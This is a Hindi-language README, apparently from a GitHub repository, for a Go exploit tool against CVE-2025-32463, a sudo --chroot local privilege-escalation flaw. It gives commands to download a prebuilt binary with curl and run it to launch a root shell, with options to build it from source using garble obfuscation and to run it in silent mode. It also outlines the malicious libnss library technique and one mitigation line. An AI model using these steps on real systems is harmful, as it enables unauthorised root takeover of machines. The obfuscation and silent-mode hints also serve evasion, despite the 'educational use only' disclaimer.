1xpwn/cve-2025-32463यह CVE sudo संस्करण 1.9.14 से 1.9.17 में एक भेद्यता को संबोधित करता है, जो अनधिकृत स्थानीय विशेषाधिकार वृद्धि के माध्यम से रूट एक्सेस प्राप्त करने में सक्षम बनाता है।
यह रिपॉज़िटरी CVE-2025-32463 के लिए एक Go-आधारित एक्सप्लॉइट टूल प्रदान करती है, जो sudo संस्करण 1.9.14 से 1.9.17 में एक गंभीर स्थानीय विशेषाधिकार उन्नयन (privilege escalation) भेद्यता (CVSS 9.3) है। यह अनधिकृत स्थानीय उपयोगकर्ताओं को --chroot (-R) विकल्प में एक त्रुटि का शोषण करके रूट एक्सेस प्राप्त करने की अनुमति देता है।
⚠️ चेतावनी: केवल शैक्षिक और परीक्षण उद्देश्यों के लिए। पृथक वातावरण (जैसे, VMs) में उपयोग करें। दुर्भावनापूर्ण उपयोग के लिए नहीं।
--chroot अनुमतियों वाला गैर-विशेषाधिकार प्राप्त उपयोगकर्ताcurl -L https://github.com/1xPwn/CVE-2025-32463/releases/download/exploit/exploit -o exploit
chmod +x exploit
./exploit --execution # Launches root shell
git clone https://github.com/1xPwn/CVE-2025-32463.git
cd CVE-2025-32463
go build -o exploit # Or use garble for obfuscation
./exploit --execution
| कमांड | विवरण |
|---|---|
./exploit --help | उपयोग सहायता दिखाएँ |
./exploit --about | CVE विवरण प्रदर्शित करें |
./exploit --execution | एक्सप्लॉइट चलाएँ (रूट शेल खोलता है) |
./exploit --execution --silent | साइलेंट मोड निष्पादन |
सत्यापन: रूट शेल में, id चलाएँ (uid=0(root) दिखाना चाहिए) या whoami (root दिखाना चाहिए)।
/tmp/sudowoot.stage.* बनाता हैwoot1337.c) उत्पन्न करता हैlibnss_/woot1337.so.2) में संकलित करता हैsudo -R woot woot चलाता है/etc/sudoers में Defaults !use_chroot जोड़ेंयह टूल सुरक्षा अनुसंधान के लिए है। लेखक दुरुपयोग के लिए ज़िम्मेदार नहीं है। हमेशा ज़िम्मेदारी से परीक्षण करें।
MNM द्वारा निर्मित